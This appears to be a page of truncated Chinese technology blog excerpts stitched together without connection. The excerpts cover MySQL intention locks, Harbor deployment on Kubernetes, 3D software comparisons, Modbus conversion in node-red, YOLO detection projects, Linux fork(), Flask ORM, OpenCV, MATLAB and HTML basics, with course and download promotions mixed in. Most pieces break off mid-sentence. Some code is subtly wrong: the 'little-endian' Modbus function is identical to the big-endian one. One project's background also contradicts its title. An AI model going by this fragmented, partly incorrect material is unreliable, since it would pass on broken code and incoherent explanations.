在添加表锁的时候,先判断一下意向锁,如果有意向锁了,它就不能加表锁了,这样避免了锁冲突,提升了加锁判断的效率。 “ 想想一下,如果没有意向锁的话,那么事务 B 在加表锁的时候,只能一行行的判断有没有行锁,而这种判断的效率是非常低的,尤其数据量比较大时。 ” 意向锁分类 意向锁分为以下两种类型: 意向共享锁(Intention Shared lock,IS):表示在某个资源上设置共享锁。也就是读锁,用于读取数据的操作,允许多个事务同时持有(共享锁),不互斥。 意向排他锁(Intention Exclusive lock,IX):表示在某个资源上设置排他锁。也就是写锁,用于修改和更新数据操作,并且同一时间只能由一个事务持有,不能和其他事务共同持有,具有互斥性和排他性。 小结 意向锁并不能直接由开发者创建和使用,它是存在于 MySQL 中,由 MySQL 自行维护的一种协调事务加锁的机制。它在事务创建行锁和表锁时创建,在事务提交或回滚之后自动释放。 说件大事 磊哥一直在做的事,为了让大家找到更好的工作,所以有着 13 年工作经验的我,开发了一门《Java 面试突击训练营》。 整个课程为期一个月,带着大家把 16 万的图文 + 3000 多分钟的视频课系统的学完,并且录屏支持永久更新和观看。 整个课程从 Java 基础到微服务 Spring Cloud 应用尽有,包含以下 16 个大的模块:

K8S部署Harbor仓库实战

K8S部署Harbor仓库实战 K8S部署Harbor仓库实战 - 简书 创建文件目录 chartmuseum目录: /var/nfs/data/harbor/chartmuseumdatabase目录: /var/nfs/data/harbor/databasejobservice目录: /var/nfs/data/harbor/jobserviceredis目录: /var/nfs/data/harbor/redisregistry目录: /var/nfs/data/harbor/registrytrivy目录: /var/nfs/data/harbor/trivy脚本 mkdir -p /var/nfs/data/harbor/chartmuseum mkdir -p /var/nfs/data/harbor/database mkdir -p /var/nfs/data/harbor/jobservice mkdir -p /var/nfs/data/harbor/redis mkdir -p /var/nfs/data/harbor/registry mkdir -p /var/nfs/data/harbor/trivy chmod -R 777 harbor 添加heml仓库 helm repo add harbor https://helm.goharbor.io helm repo update 创建namespace kubectl create namespace harbor 创建配置文件目录 mkdir -p /root/harbor cd /root/harbor 创建harbor-pv.yaml文件并替换内容 apiVersion: v1 kind: PersistentVolume metadata: name: harbor-registry labels: app: harbor-registry spec: capacity: storage: 50Gi accessModes: - ReadWriteOnce persistentVolumeReclaimPolicy: Retain storageClassName: "

影视后期制作的探索:C4D与MAYA的比较

在影视后期制作的领域中,C4D和MAYA这两款软件是许多人的首选工具。然而,它们之间存在一些重要的差异,这些差异可能会影响您的选择和使用。接下来,我们将深入探讨C4D和MAYA之间的主要区别,以帮助您更好地理解它们各自的特点和适用范围。 首先,让我们来看看C4D和MAYA的定位差异。C4D以其高效、简洁的界面和强大的实时渲染功能著称,它特别适合设计师和初学者。由于其易于学习和使用,C4D已成为许多小型团队和个人的首选工具。另一方面,MAYA则是一款面向电影、电视剧和其他高端制作领域的专业软件。它的复杂性和模块化设计使其特别适合大型团队进行协作,以及需要精细控制的高级制作流程。 其次,用户群体的需求也影响了这两款软件的发展方向。MAYA的用户基础主要来自好莱坞电影产业,它为长周期、流水线化的制作流程提供了强大的支持。这种背景使得MAYA在角色动画、游戏开发、影视模型和特效等方面具有显著的优势。相比之下,C4D的用户群体更加广泛,包括设计师、广告商和那些寻求快速、高效解决方案的后期制作人员。 最后,我们不能忽视的是C4D和MAYA在功能上的专长。C4D在渲染、材质、灯光和运动图形动画方面具有显著的优势。它的预设功能使得用户可以轻松实现各种效果,而无需进行复杂的设置或编程。而MAYA则以其角色动画和游戏开发功能而闻名,它在这些领域提供了卓越的性能和精度。 总结来说,C4D和MAYA各有千秋,选择哪款软件主要取决于您的具体需求和目标。如果您需要一款易于使用、高效且适用于各种制作需求的软件,C4D可能更适合您。而如果您在大型团队中进行高端电影或电视剧制作,或者需要精细控制制作流程,那么MAYA可能是更好的选择。无论您选择哪款软件,都建议您深入了解其功能和特点,以便更好地满足您的制作需求。如果您需要更多关于Maya和C4D的信息,可以参考一些相关网站,如创造家(chuagnzaojia.com)等。这些网站提供了丰富的教程、资源和讨论,可以帮助您更好地了解和学习这两款软件。

R语言【stats】——处理R对象中的缺省值:na.fail(), na.omit(), na.exclude(), na.pass()

Package stats version 4.3.2 Parameters na.fail(object, ...) na.omit(object, ...) na.exclude(object, ...) na.pass(object, ...) 参数【object】:R 对象,通常是一个数据帧。 参数【...】:特殊方法可能需要的其他参数。 目前,它们只能处理向量、矩阵以及由向量和矩阵组成的数据帧。 如果 na.omit 删除了实例,那么实例的行号就会构成结果的 "na.action" 属性,其类别为 "omit"。 na.exclude 与 na.omit 的区别仅在于结果的 "na.action" 属性类别是 "exclude"。 Example > DF <- data.frame(x = c(1, 2, 3), y = c(0, 10, NA)) > na.omit(DF) x y 1 1 0 2 2 10

不同角度深入探讨Maya和Blender这两款软件的差异

当我们面对三维建模软件的选择时,许多初学者可能会感到迷茫。今天,我们将从不同角度深入探讨Maya和Blender这两款软件的差异,特别是对于游戏建模领域的用户来说,这将有助于您更好地理解两者之间的区别。 软件授权与开发背景: Maya:由美国Autodesk公司开发的Maya,是一款专业级的3D动画软件。它在影视广告、人物动画和电影特效等领域有着广泛的应用。由于其强大的功能和高效的工作流程,Maya得到了专业人士的高度评价,当然,它的价格也相对较高。 Blender:作为一款开源的3D动画软件,Blender由Blender Foundation开发并遵循GPL协议。尽管它的开发背景与Maya不同,但Blender提供了从建模、动画到渲染等一系列的3D制作工具,且完全免费。 操作习惯与界面布局: Maya:拥有菜单操作、空格键操作、快捷键操作和鼠标操作等多种方式。用户可以通过这些操作方式快速找到所需工具和功能。其界面布局相对固定,但提供了丰富的自定义选项。 Blender:主要依赖于快捷键操作,这可能需要用户一段时间的适应。不过,Blender的界面布局非常灵活,用户可以根据自己的工作习惯进行调整。 软件开发与社区生态: Maya:Autodesk团队对Maya进行了深入的研发,并且有大量的专业用户为其贡献插件和工具,形成了强大的社区生态。在特效制作领域,Maya的使用非常普遍。 Blender:Blender的开发则依赖于社区的力量,许多功能都是由社区成员自发贡献的。这使得Blender的功能更新非常迅速,但也可能带来一定的不稳定因素。 资源获取与学习成本: Maya:由于其广泛的应用和较长的开发历史,Maya拥有大量的教程和资源。无论是官方还是社区都提供了大量的学习资料,这使得Maya的学习曲线相对平缓。 Blender:尽管Blender的教程和资源相对较少,但随着其社区的不断壮大,现在已经有越来越多的学习资料涌现。对于初学者来说,可能需要更多的时间和精力去寻找合适的教程和资源。 总结:Maya和Blender各有千秋。Maya更适合专业用户,具有稳定性和高度定制化的特点;而Blender则以其开源和灵活的特性吸引了大量用户。选择哪款软件取决于您的具体需求和使用场景。如果您刚开始接触3D建模,Blender可能是一个更经济的选择;而如果您在影视或广告行业工作,Maya可能会更适合您。无论选择哪款软件,都建议您加入相关的社区,与其他用户交流经验和学习心得,这将有助于您更好地掌握这两款强大的工具。 如果您需要更多关于Maya和Blender的信息,可以参考一些相关网站,如创造家(chuagnzaojia.com)等。这些网站提供了丰富的教程、资源和讨论,可以帮助您更好地了解和学习这两款软件。

node-red:modbus协议数据格式转换

node-red:MODBUS协议数据格式转换 一、32word转换1.1 写操作1.2 读操作 二、字符串转换2.1 字符串写操作2.2 字符串读操作 三、有符号整数转换3.1 有符号16word转换3.1.1 负数 读 操作3.1.2 负数 写 操作 源码 本文将描述通过node-red采集工业数据时,采集到的数据需要进行转换的操作方法。 对于运行在RTU或ASCII传输模式下的modbus协议,它接收主设备发送的指令报文,并根据窗口配置的数据返回主设备需要的指令报文。根据Modbus协议的规定,所有的数值都是以16位二进制形式进行存储和运算的。 注意:node-red通过modbus协议采集时,端口不能在0-100以内,node-red会出问题 回到目录 一、32word转换 Modbus协议中,32位整数的存储格式会因具体的数据类型而有所不同。Modbus协议对32位整数的存储方式是将该整数分解为两个16位的寄存器来处理,第一个元素是高16位,第二个元素是低16位,具体的字节顺序可以有4种选择:大端序、小端序、大端字节交换和小端字节交换。例如,一个的32位整数0x12345678在Modbus中的存储形式可能会是:0x12 0x34 0x56 0x78,具体取决于所选择的字节顺序。其中: 大端序Big-Endian(BE):将最高位字节存储在最低的地址位置;小端序(LE):则是将最高位字节存储在最高的地址位置;大端字节交换和小端字节交换(BIG_ENDIAN和LITTLE_ENDIAN):指将每个字节的顺序颠倒,但不考虑符号位。 1.1 和1.2 涉及的所有js转换代码,有符号、无符号的32位整数都适用 1.1 写操作 将32位整数转换为16位整数数组 使用大端序(BE)的转换方式,js代码如下: - modScan32的modbus默认转换方式是这个 /** 使用大端序(BE)的转换方式,将一个32位整数,转换为一个包含两个元素的数组, * 其中第一个元素是高16位,第二个元素是低16位 */ function int32ToArrayBE(num) { const high = (num >> 16) & 0xFFFF; const low = num & 0xFFFF; return [high, low]; } 使用小端序(LE)的转换方式,js代码如下: /** 使用小端序LE的方式的转换方式,将一个32位整数,转换为一个包含两个元素的数组,其中第一个元素是高16位,第二个元素是低16位 */ function int32ToArrayLE(num) { const high = (num >> 16) & 0xFFFF; const low = num & 0xFFFF; return [high, low]; } 通过modbus节点写入,示例如下

大创项目推荐 深度学习YOLO安检管制物品识别与检测 - python opencv

文章目录 0 前言1 课题背景2 实现效果3 卷积神经网络4 Yolov55 模型训练6 实现效果7 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 **基于深度学习YOLO安检管制误判识别与检测 ** 该项目较为新颖,适合作为竞赛课题方向,学长非常推荐! 🥇学长这里给一个题目综合评分(每项满分5分) 难度系数:4分工作量:3分创新点:4分 🧿 更多资料, 项目分享: https://gitee.com/dancheng-senior/postgraduate 1 课题背景 军事信息化建设一直是各国的研究热点,但我国的武器存在着种类繁多、信息散落等问题,这不利于国防工作提取有效信息,大大妨碍了我军信息化建设的步伐。同时,我军武器常以文字、二维图片和实体武器等传统方式进行展示,交互性差且无法满足更多军迷了解武器性能、近距离观赏或把玩武器的迫切需求。本文将改进后的Yolov5算法应用到武器识别中,将武器图片中的武器快速识别出来,提取武器的相关信息,并将其放入三维的武器展现系统中进行展示,以期让人们了解和掌握各种武器,有利于推动军事信息化建设。 2 实现效果 检测展示 3 卷积神经网络 简介 卷积神经网络 (CNN) 是一种算法,将图像作为输入,然后为图像的所有方面分配权重和偏差,从而区分彼此。神经网络可以通过使用成批的图像进行训练,每个图像都有一个标签来识别图像的真实性质(这里是猫或狗)。一个批次可以包含十分之几到数百个图像。 对于每张图像,将网络预测与相应的现有标签进行比较,并评估整个批次的网络预测与真实值之间的距离。然后,修改网络参数以最小化距离,从而增加网络的预测能力。类似地,每个批次的训练过程都是类似的。 相关代码实现 cnn卷积神经网络的编写如下,编写卷积层、池化层和全连接层的代码 ​ conv1_1 = tf.layers.conv2d(x, 16, (3, 3), padding='same', activation=tf.nn.relu, name='conv1_1') conv1_2 = tf.layers.conv2d(conv1_1, 16, (3, 3), padding='same', activation=tf.nn.relu, name='conv1_2') pool1 = tf.layers.max_pooling2d(conv1_2, (2, 2), (2, 2), name='pool1') conv2_1 = tf.layers.conv2d(pool1, 32, (3, 3), padding='same', activation=tf.

在3D建模领域中Maya和Blender在专业性上哪个更强

在3D建模领域中,3D Max、Maya和Blender等软件都是备受推崇的工具,它们各自独特的功能和特性为用户提供了广泛的选择。然而,在Blender和Maya之间,究竟哪一款软件更加易于上手?哪一款功能更为出众?这一问题的答案并非一成不变,因为这两款软件在不同方面均有卓越表现。 对于新手而言,选择Blender还是Maya都可能面临一定的学习难度和挑战。因此,决定哪款软件更简单主要取决于个人的使用习惯和具体需求。 以下是Blender和Maya之间的一些主要差异: 专业性: Maya在功能专业性方面表现突出,由知名的Autodesk公司开发,与3D Max同出一脉。这使得Maya在功能覆盖面上更为广泛。 渲染能力: Maya在渲染效果方面具有显著优势。它集成了包括Alias和Wavefront在内的多种数字效果和动画技术,从而能够生成高度逼真的渲染效果。事实上,Maya曾参与制作多部知名电影,如科幻大片《阿凡达》和动画巨作《疯狂动物城》。 资源丰富度: Maya拥有丰富的资源库,用户可以在网络上轻松找到各类教学材料和下载资源。相比之下,Blender的资源相对较少,尤其是在中文语言支持和相关教程视频方面还有待进一步完善。 综上所述,Maya在功能多样性和渲染能力方面占据优势。对于初学者而言,选择专业性较强的软件如Maya或3D Max可能更为合适。当然,也可以尝试使用Blender来探索其是否符合个人需求。最终的选择应基于个人兴趣、学习意愿和项目需求来做出明智的决策。

fork函数详解【Linux】

fork函数详解【Linux】 fork函数的概念fork调用后的底层细节解释fork学习中的一些笔记和问题fork的写实拷贝深拷贝的策略 fork调用失败的原因 fork函数的概念 调用fork函数可以在已存在的进程中创建一个子进程,此时,新进程叫做子进程,原进程叫做父进程。 #include <unistd.h> pid_t fork(void); 其中pid_t的底层是int; 返回值::子进程中返回0,父进程返回子进程id,出错返回-1 也就是这样: #include <iostream> #include <unistd.h> int main() { pid_t fd = fork(); if (fd == 0) { //this area is child } else if(fd > 0) { // this area is parent } else { // this area is error } return 0; } fork调用后的底层细节 当我们在用户空间调用了fork以后,控制会从用户空间转移到内核空间,因为fork属于系统调用,然后内核会: 为子进程分配新的内存块和内核数据结构。以父进程为模板,将父进程的pcb和虚拟内存地址以及页表汇中的内容完整复制一份给子进程,以至于虚拟内存地址和页表以及页表和物理地址空间的映射关系,父子进程此时都是一模一样的。将子进程的pcb添加到系统进程列表中。fork返回,开始进程调度器调度。 解释fork学习中的一些笔记和问题 同一个程序,每次启动运行时,分配的pid都可能不同。命令行中的父进程一般是命令行解释器bash,命令行中启动的进程,都是bash的子进程。Linux中创建子进程有两种方式: 3.1. 在命令行行中直接启动进程。(启动进程的本质就是创建进程吗) 3.2. 通过代码来创建子进程。(一般是由父进程创建)只有父进程执行fork之前的代码,fork之后的代码父子进程都要执行。创建子进程的原因:想让子进程协助父进程完成一些工作,这些工作是单进程完成不了的。(比如边下载边播放视频),创建子进程是为了和父进程做不一样的事。为什么fork的两个返回值会给父进程返回子进程pid,给子进程返回0? :答:因为父子进程的数量比例是 1:n , 为了使得父子进程能够一一对应,具有唯一性,且子进程主要是为了协助父进程,父进程得到了子进程的pid能够确定唯一的子进程,方便调用子进程。fork之后,父子进程谁先运行? : 答:这个跟内核的调度机制有关,哪一个进程的pcb先被选择调度,哪一个进程就先执行,所以是不确定的。由各自pcb中的调度信息(时间片,优先级)和调度器算法决定,也就是有OS决定。 fork的写实拷贝 由于虚拟内存地址和页表以及页表和物理地址空间的映射关系,父子进程此时都是一模一样的。所以可以说父子继承一开始都是使用同一块地址空间。

Flask学习三:模型操作

ORM flask 通过Model操作数据库,不管你的数据库是MySQL还是Sqlite,flask自动帮你生成相应数据库类型的sql语句,所以不需要关注sql语句和类型,对数据的操作flask帮我们自动完成,只需要会写Model就可以了 flask使用对象关系映射(简称为ORM)框架去操控数据库 ORM对象关系映射是一种程序技术,用于实现面向对象变成语言里不同类型系统的数据之间的转换,将对对象的操作转换为原生的SQL语句。简单易用,可以有效减少重复的SQL;性能损耗少;设计灵活,可以轻松实现复杂查询;可移植性好 数据库连接 Flask使用Python自带的ORM:SQLAlchemy。针对于Flask的支持,需要安装相应的插件 pip install flask-sqlalchemy 为什么使用sqlite而不是mysql SQLite和MySQL是两种常见的数据库管理系统,它们之间有一些重要的区别。 数据库类型:SQLite是一种嵌入式数据库,它将整个数据库作为一个文件存储在磁盘上。而MySQL是一种客户端/服务器数据库,它以独立的服务器进程运行,并通过网络接口来处理客户端请求。 部署和配置:由于SQLite是一个嵌入式数据库,它非常容易部署和配置。你只需要在应用程序中包含SQLite的库文件即可。MySQL需要单独安装和配置数据库服务器,并通过网络连接来访问。 性能和扩展性:SQLite适用于小型应用程序和个人项目,因为它在处理大量数据和高并发访问时可能性能较低。相比之下,MySQL被设计用于处理大型数据集和高负载的应用程序,它具有更好的性能和扩展性。 功能和支持:MySQL是一个成熟的数据库管理系统,提供了广泛的功能和丰富的工具。它支持复杂的查询语言(如SQL),事务处理和高级安全特性。相比之下,SQLite是一个轻量级的数据库,功能相对较少。 并发处理:MySQL支持多个并发连接,可以同时处理多个客户端请求。SQLite在写操作时会锁定整个数据库文件,因此在高并发访问情况下可能会出现性能问题。 综上所述,SQLite适用于小型应用程序和个人项目,而MySQL适用于中大型应用程序和高负载环境。选择哪种数据库取决于你的具体需求和项目规模。 连接配置 直接看老师讲的视频好了,容易理解。千峰教育 Flask2入门 数据库连接 数据迁移 当数据库和表配置好后,需要进行数据迁移,这样会在项目中生成真正的数据库和表。 基本步骤如下: 使用cmd打开项目目录(app.py所在的目录)依次输入下面的命令 flask db init 创建迁移文件夹migrates,只调用一次flask db migrate 生成迁移文件flask db upgrade 执行迁移文件中的升级flask db downgrade 执行迁移文件中的降级 初始化 执行完会在项目根目录下生成对应的文件夹instance和migrations 生成迁移文件 会生成数据库db文件 并且会生成一个操作记录的py文件 生成表 实际上就是执行的上一次生成文件里的upgrade函数,执行完成后,我们可以使用类似dberver的工具来进行查看 修改表结构 在修改表结构时,比如新添加一列。必须要先修改对应的模型,然后在重新进行生成迁移文件、执行迁移文件中的升级。 无法生成迁移文件 如果执行flask db migrate 提示INFO [alembic.env] No changes in schema detected. 这时你可以将你的所有的模型类导入到app.py中,再次执行可以生成对应的迁移文件 数据库的常见操作 新增数据 @baseBlue.route("/add-user/") def addUser(): # 创建一个对象 user = BaseModel() user.

PLC远程上下载物联网网关的功能

PLC远程上下载物联网网关的功能 设备远程监控:通过物联网网关,可以实时监控PLC设备的运行状态,获取设备的各种参数信息,以便及时发现和解决设备故障。 数据采集与传输:蓝蜂物联网PLC远程网关可以采集PLC设备的各种数据,如温度、压力、流量等,并将这些数据传输到云端或者上位机,方便用户进行数据分析和决策。 远程程序上下载与调试:蓝蜂物联网PLC远程网关支持对PLC设备的远程程序上下载与调试,用户可以在不到现场的情况下,对PLC设备进行远程程序上下载和调试,大大提高了工作效率。 远程报警通知:蓝蜂物联网PLC远程网关可以设置报警规则,一旦PLC设备出现异常情况,可以及时通知相关人员进行处理,避免设备故障导致的损失。 设备远程控制:物联网网关支持PLC设备的远程控制,用户可以通过网关对PLC设备进行启停、调整参数等操作,提高了设备的自动化程度。 数据存储与分析:物联网网关可以将采集到的数据存储到本地或者云端,方便用户进行数据分析和决策。 优势与特点: 远程管理:通过蓝蜂物联网网关,用户可以在任何地方、任何时间访问和监控PLC设备,提高了工作效率。数据实时传输:蓝蜂物联网网关能够实时传输PLC设备的数据,帮助用户及时了解设备的运行状况,并作出相应的决策。兼容性强:物联网网关支持多种PLC协议,如Modbus、西门子、三菱、台达、信捷、汇川等,可以方便地与各种PLC设备进行通信。高安全性:物联网网关具备多种安全措施,如加密传输、防拆机功能等,确保PLC设备的数据安全和系统安全。易于部署和维护:蓝蜂物联网网关具有RS485和232接口和LAN口,并支持多种PLC协议采用即插即用的设计,安装和部署非常方便。同时,网关的远程管理功能也大大降低了维护成本。降低成本:通过物联网网关,用户可以减少现场维护人员的数量,降低人力成本。同时,网关的远程监控功能也有助于减少设备故障,降低设备维修成本。提高生产效率:物联网网关可以帮助用户实时监控设备运行情况,及时发现和解决问题,提高生产效率。促进智能化生产:物联网网关是实现智能化生产的基础,通过采集和分析设备数据,为生产管理提供决策支持,提高生产智能化水平。

OpenCV-Python(21):轮廓特征及周长、面积凸包检测和形状近似

2. 轮廓特征 轮廓特征是指由轮廓形状和结构衍生出来的一些特征参数。这些特征参数可以用于图像识别、目标检测和形状分析等应用中。常见的轮廓特征包括: 面积:轮廓所包围的区域的面积。周长:轮廓的周长,即轮廓线的长度。弧长:轮廓线的弧长,即轮廓的长度。轮廓矩:轮廓的几何矩,用于描述轮廓的形状。轮廓重心:轮廓所包围区域的重心坐标。外接矩形:能够完全包围轮廓的矩形。最小外接矩形:能够紧密包围轮廓的矩形,且角度与轮廓的方向一致。外接圆:能够完全包围轮廓的圆。最小外接圆:能够紧密包围轮廓的圆。椭圆拟合:能够最好地拟合轮廓的椭圆。凸包:能够包围轮廓的最小凸多边形。轮廓层级:描述轮廓的嵌套关系。 这些轮廓特征可以通过OpenCV库的cv2.contourArea()、cv2.arcLength()、cv2.moments()、cv2.boundingRect()、cv2.minAreaRect()、cv2.minEnclosingCircle()、cv2.fitEllipse()、cv2.convexHull()等函数来计算和获取,下面主要介绍一些常用的特征。 2.1 目标 查找轮廓的不同特征,例如面积、周长、重心、边界框等。 学习和掌握轮廓相关函数 2.2 矩特征 图像矩是一种描述图像几何特征的数学工具,用于描述图像的形状、位置和分布等信息,以帮助我们计算图像的质心、面积等。图像矩可以用于图像识别、目标检测、形状分析等应用中。图像矩的计算是基于图像像素的灰度值进行的,常见的图像矩包括原点矩、中心矩和归一化矩。使用OpenCV库的cv2.moments()函数可以计算图像的矩。该函数接受一个二值化的图像作为输入,并返回一个包含各种矩的字典。可以通过字典的键来获取不同的矩。以下是一个示例代码,演示如何计算图像的矩: import cv2 # 读取图像 image = cv2.imread("image.jpg") # 灰度化 gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # 二值化 ret, thresh = cv2.threshold(gray, 127, 255, cv2.THRESH_BINARY) # 计算矩 moments = cv2.moments(thresh) # 获取原点矩 m00 = moments["m00"] m10 = moments["m10"] m01 = moments["m01"] # 获取中心矩 cx = int(m10 / m00) cy = int(m01 / m00) # 获取归一化矩 nu20 = moments["nu20"] nu02 = moments["

【MATLAB】交叉验证求光滑因子的广义神经网络时序预测算法

有意向获取代码,请转文末观看代码获取方式~也可转原文链接获取~ 1 基本定义 交叉验证求光滑因子的广义神经网络时序预测算法的基本原理如下: 首先,我们需要了解什么是交叉验证和光滑因子。交叉验证是一种评估模型性能的常用方法,通过将数据集分成多个部分,然后使用其中的一部分数据进行模型训练,另一部分数据用于测试模型性能。通过多次重复验证,可以获得更准确和稳定的模型性能评估结果。而光滑因子则是一种用于调整模型复杂度和过拟合程度的参数,其作用是控制模型对训练数据的拟合程度。 在交叉验证求光滑因子的广义神经网络时序预测算法中,首先将数据集分成训练集和测试集,然后使用训练集对广义神经网络进行训练,得到初步的模型参数。接下来,通过交叉验证对初步模型进行评估,并利用评估结果调整光滑因子的大小。在调整光滑因子的过程中,可以使用网格搜索(Grid Search)等方法来寻找最优的光滑因子。 通过交叉验证和调整光滑因子,可以获得一个较为准确和稳定的广义神经网络模型。最后,使用该模型对测试集进行预测,并评估模型的预测性能。 交叉验证求光滑因子的广义神经网络时序预测算法的优点在于: 可以有效地避免过拟合和欠拟合问题,提高模型的泛化性能; 通过交叉验证可以获得更准确和稳定的模型性能评估结果; 可以通过调整光滑因子来控制模型的复杂度和拟合程度,进一步优化模型的性能。 除了上述提到的优点,交叉验证求光滑因子的广义神经网络时序预测算法还具有以下特点: 「可解释性」:该算法通过交叉验证和光滑因子调整,可以使得模型的结果具有更好的可解释性。我们可以通过交叉验证的结果,了解模型在各种不同情况下的表现,从而更好地理解模型的性能。 「鲁棒性」:由于该算法使用了交叉验证,因此对于数据集的划分方式不敏感,使得算法具有一定的鲁棒性。即使在数据集划分不均的情况下,该算法仍然能够获得较为准确的结果。 「适用范围广」:该算法适用于各种不同的时序预测问题,只要数据满足时序预测的基本假设即可。同时,由于广义神经网络具有较强的非线性拟合能力,因此对于一些复杂的时序数据,该算法也能够获得较好的预测结果。 总的来说,交叉验证求光滑因子的广义神经网络时序预测算法是一种有效的时序预测方法,具有较好的泛化性能、可解释性和鲁棒性,适用于各种不同的时序预测问题。 交叉验证求光滑因子的广义神经网络时序预测算法的原理基于以下步骤: 「数据集的划分」:首先,将时间序列数据集分成训练集和测试集。训练集用于训练模型,而测试集用于评估模型的预测性能。 「模型训练」:使用训练集对广义神经网络进行训练,得到初步的模型参数。广义神经网络是一种能够处理非线性问题的神经网络模型,具有较好的泛化性能。 「交叉验证」:对初步模型在训练集上进行交叉验证,通过比较预测值和实际值来评估模型的性能。交叉验证可以帮助我们更准确地评估模型的泛化能力,因为这样可以利用更多的数据来训练和验证模型。 「调整光滑因子」:根据交叉验证的结果,调整光滑因子的大小。光滑因子是一个控制模型复杂度和过拟合程度的参数,通过调整它可以找到最优的模型复杂度。在调整过程中,可以使用网格搜索等方法来寻找最优的光滑因子。 「模型评估」:使用测试集对调整后的模型进行预测,并评估模型的预测性能。常用的评估指标包括均方误差(MSE)、均方根误差(RMSE)等。 「模型优化」:根据模型评估的结果,对模型进行进一步的优化和调整,以提高预测性能。 交叉验证求光滑因子的广义神经网络时序预测算法的原理是基于对时间序列数据的深入理解和分析,通过合理的数据划分、模型训练和调整,以及有效的模型评估和优化,实现时间序列的准确预测。 2 出图效果 附出图效果如下: 附视频教程操作: 【MATLAB】交叉验证求光滑因子的广义神经网络时序预测算法

element ui Checkbox 多选框组件 lable不支持Object类型的值的问题

浅浅记录一下,遇到这个问题的心理路程吧,首先我遇到的问题是多选框的值回显不打对勾,(例如:你新增的时候多选,然后点击编辑的时候选过的值没有被勾选,其实是被勾选上了,但是没有显示对勾,因为我点击已经选择过值就会取消勾选,说明这个值其实是回显了,但是不显示对勾),然后我就去查element ui,发现他的多选框的label只支持string / number / boolean,不支持object的形式,但是我的业务场景需要label的类型为object,于是尝试了各种方法之后,找到了一个最为合适的解决方案 1.写一个新组件 <script> // new-el-checkbox.vue 支持OBJECT 类型 import { defineComponent } from '@vue/composition-api' import { Checkbox } from 'element-ui' import _isEqual from 'lodash/isEqual' // Now support array of object by adding _isEqual to compare the values // Specify the value of checkbox with 'label' prop, not 'value' prop export default defineComponent({ extends: Checkbox, computed: { // eslint-disable-next-line vue/return-in-computed-property isChecked() { if ({}.toString.call(this.model) === '[object Boolean]') { return this.

基于深度学习的车型检测系统(含UI界面,yolov8、Python代码,数据集)

项目介绍 项目中所用到的算法模型和数据集等信息如下: 算法模型: yolov8 yolov8主要包含以下几种创新: 1. 添加注意力机制(SE、CBAM等) 2. 修改可变形卷积(DySnake-主干c3替换、DySnake-所有c3替换) 数据集: 网上下载的数据集,大约10000张左右,详细介绍见数据集介绍部分。 以上是本套代码的整体算法架构和对目标检测模型的修改说明,这些模型修改可以为您的 毕设、作业等提供创新点和增强模型性能的功能 。 如果要是需要更换其他的检测模型,请私信。 注:本项目提供所用到的所有资源,包含 环境安装包、训练代码、测试代码、数据集、视频文件、 界面UI文件等。 项目简介 本文将详细介绍如何使用深度学习中的YOLOv8算法实现对车型的检测,且利用PyQt5设计了简约的系统UI界面。在界面中,您可以选择自己的视频文件、图片文件进行检测。此外,您还可以更换自己训练的yolov8模型,进行自己数据的检测。 该系统界面优美,检测精度高,功能强大。它具备多目标实时检测,同时可以自由选择感兴趣的检测目标。 本博文提供了完整的Python程序代码和使用教程,适合新入门的朋友参考。您可以在文末的下载链接中获取完整的代码资源文件。以下是本博文的目录: 目录 项目介绍项目简介效果展示:🌟一、环境安装🌟二、数据集介绍🌟三、 目标检测介绍yolov8相关介绍 四、 yolov8训练步骤五、 yolov8评估步骤六、 训练结果 🌟下载链接 效果展示: 功能: 1. 支持单张图片识别 2. 支持遍历文件夹识别 3. 支持识别视频文件 4. 支持结果导出(xls、csv两种格式) 5. 支持切换检测到的目标 基于深度学习钢铁表面缺陷检测系统(yolov8) 🌟一、环境安装 本项目提供所有需要的环境安装包(python、pycharm、cuda、torch等),可以直接按照视频讲解进行安装。具体的安装流程见此视频:视频链接 环境安装视频是以车牌项目为例进行讲解的,但是可以适用于任何项目。 视频快进到 3:18 - 21:17,这段时间讲解的是环境安装,可直接快进到此处观看。 环境安装包可通过百度网盘下载: 链接:https://pan.baidu.com/s/17SZHeVZrpXsi513D-6KmQw?pwd=a0gi 提取码:a0gi –来自百度网盘超级会员V6的分享 上面这个方法,是比较便捷的安装方式(省去了安装细节),按照我的视频步骤和提供的安装包安装即可,如果要是想要多学一点东西,可以按照下面的安装方式走一遍,会更加熟悉。 环境安装方法2: 追求快速安装环境的,只看上面即可!!! 下面列出了5个步骤,是完全从0开始安装(可以理解为是一台新电脑,没有任何环境),如果某些步骤已经安装过的可以跳过。下面的安装步骤带有详细的视频讲解和参考博客,一步一步来即可。另外视频中讲解的安装方法是通用的,可用于任何项目。 python环境安装:B站视频讲解cuda、cudnn安装:B站视频讲解torch安装: B站视频讲解pycharm安装: B站视频讲解第三方依赖包安装: B站视频讲解 按照上面的步骤安装完环境后,就可以直接运行程序,看到效果了。 🌟二、数据集介绍 BIT-Vehicle数据集是国内车辆检测数据集,包含9850个车辆图像。数据集中有两个摄像头在不同时间和地点拍摄的大小为16001200 和19201080的图像。 图像包含照明条件、比例、车辆表面颜色和视点的变化。 由于捕获延迟和车辆的大小,某些车辆的顶部或底部未包含在图像中。一幅图像中可能有一两辆车,因此每辆车的位置都被预先标注。 该数据集还可用于评估车辆检测的性能。 数据集中的所有车辆分为6类:公共汽车(Bus)、微型客车(Microbus)、小型货车(Minivan)、轿车(Sedan)、SUV(SUV) 和卡车(Truck)。 每种车型的车辆数量分别为558辆、883辆、476辆、5922辆、1392辆和822辆;

前端三件套html/css/js的基本认识以及示例程序

简介 本文简要讲解了html,css,js.主要是让大家简要了解网络知识 因为实际开发中很少直接写html&css,所以不必过多纠结,了解一下架构就好 希望深度学习可以参考MDN和w3school HTML 基础 HTML (Hyper Text Markup Language) 不是一门编程语言,而是一种用来告知浏览器如何组织页面的标记语言. 主要用于页面结构的组织 最简单的一个内容是这样的 <p>welcome to html</p> 属性 使用属性来给元素设定额外信息,属性的基本写法为 <p class="foobar">EESAST</p> 用空格与元素名或前一个属性隔开,属性名="值"(单引号双引号都可) 比较典型的例子就是元素<a>,用来创建链接 <a href="https://eesast.com" title="科协官网">EESAST</a> 常用标签 文档结构标签: <!DOCTYPE html>: 定义HTML文档类型和版本.<html>: HTML文档的根元素.<head>: 包含文档的元信息,如标题、字符集等.<title>: 定义文档的标题,显示在浏览器的标题栏或标签页上.<body>: 包含文档的主要内容. 文本标签: <h1> to <h6>: 定义标题,h1为最高级标题,h6为最低级标题.<p>: 定义段落.<br>: 插入换行.<hr>: 插入水平线. 链接和图像标签: <a>: 定义超链接.<img>: 